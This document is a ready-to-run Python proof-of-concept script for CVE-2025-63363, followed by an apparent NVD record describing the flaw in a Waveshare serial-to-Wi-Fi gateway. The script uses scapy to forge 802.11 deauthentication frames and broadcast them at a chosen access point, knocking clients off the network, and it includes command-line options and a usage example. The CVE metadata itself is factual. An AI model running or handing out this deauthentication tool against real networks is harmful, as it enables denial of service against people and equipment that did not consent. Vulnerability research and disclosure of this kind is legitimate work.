CVE-2025-63363

#!/usr/bin/env python3 """ CVE-2025-63363 PoC - Waveshare Wi-Fi Gateway Deauthentication Attack This PoC demonstrates the lack of Management Frame Protection vulnerability. """ from scapy.all import RadioTap, Dot11, Dot11Deauth, sendp import sys import argparse def create_deauth_packet(bssid, client_mac, reason_code=7): """ Create a deauthentication frame reason_code 7 = Class 3 frame received from non-associated STA """ # 802.11 header with management frame type dot11 = Dot11( type=0, # Management frame subtype=12, # Deauthentication addr1=client_mac, # Destination (recipient) addr2=bssid, # Source (BSSID) addr3=bssid # BSSID ) # Deauthentication frame with reason code deauth_frame = Dot11Deauth(reason=reason_code) # RadioTap header for proper injection radio = RadioTap() # Combine layers packet = radio / dot11 / deauth_frame return packet def broadcast_deauth(interface, bssid, count=100): """ Send broadcast deauthentication frames """ # Broadcast address broadcast_mac = "ff:ff:ff:ff:ff:ff" print(f"[*] Sending {count} deauth packets to BSSID: {bssid}") print(f"[*] Target: {broadcast_mac} (broadcast)") print(f"[*] Interface: {interface}") packet = create_deauth_packet(bssid, broadcast_mac) # Send packets sendp(packet, iface=interface, count=count, verbose=1) print(f"[+] Sent {count} deauthentication frames") def main(): parser = argparse.ArgumentParser(description='CVE-2025-63363 PoC') parser.add_argument('-i', '--interface', required=True, help='Wireless interface') parser.add_argument('-b', '--bssid', required=True, help='Target BSSID') parser.add_argument('-c', '--count', type=int, default=100, help='Number of packets') args = parser.parse_args() print("="*50) print("CVE-2025-63363 PoC - Waveshare Gateway Deauth Attack") print("="*50) broadcast_deauth(args.interface, args.bssid, args.count) if __name__ == "__main__": main() # Usage: python cve_2025_63363_poc.py -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 100

{"cve": {"id": "CVE-2025-63363", "sourceIdentifier": "[email protected]", "published": "2025-12-04T18:15:51.123", "lastModified": "2025-12-16T20:57:19.990", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A lack of Management Frame Protection in Waveshare RS232/485 TO WIFI ETH (B) Serial to Ethernet/Wi-Fi Gateway Firmware V3.1.1.0: HW 4.3.2.1: Webpage V7.04T.07.002880.0301 allows attackers to execute de-authentication attacks, allowing crafted deauthentication and disassociation frames to be broadcast without authentication or encryption."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-300"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:waveshare:rs232\\/485_to_wifi_eth_\\(b\\)_firmware:3.1.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "F7FD270F-5998-4F41-A80E-8017DF6A142B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:waveshare:rs232\\/485_to_wifi_eth_\\(b\\):4.3.2.1:*:*:*:*:*:*:*", "matchCriteriaId": "F085A075-48AC-42E4-9BA6-DBB9A8B2935B"}]}]}], "references": [{"url": "https://drive.google.com/file/d/1AGv9KWMTB71NJfIOncuNO6FyK0UAqxmL/view?usp=sharing", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://otsecverse.github.io/OTSecVerse/posts/Post-3/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}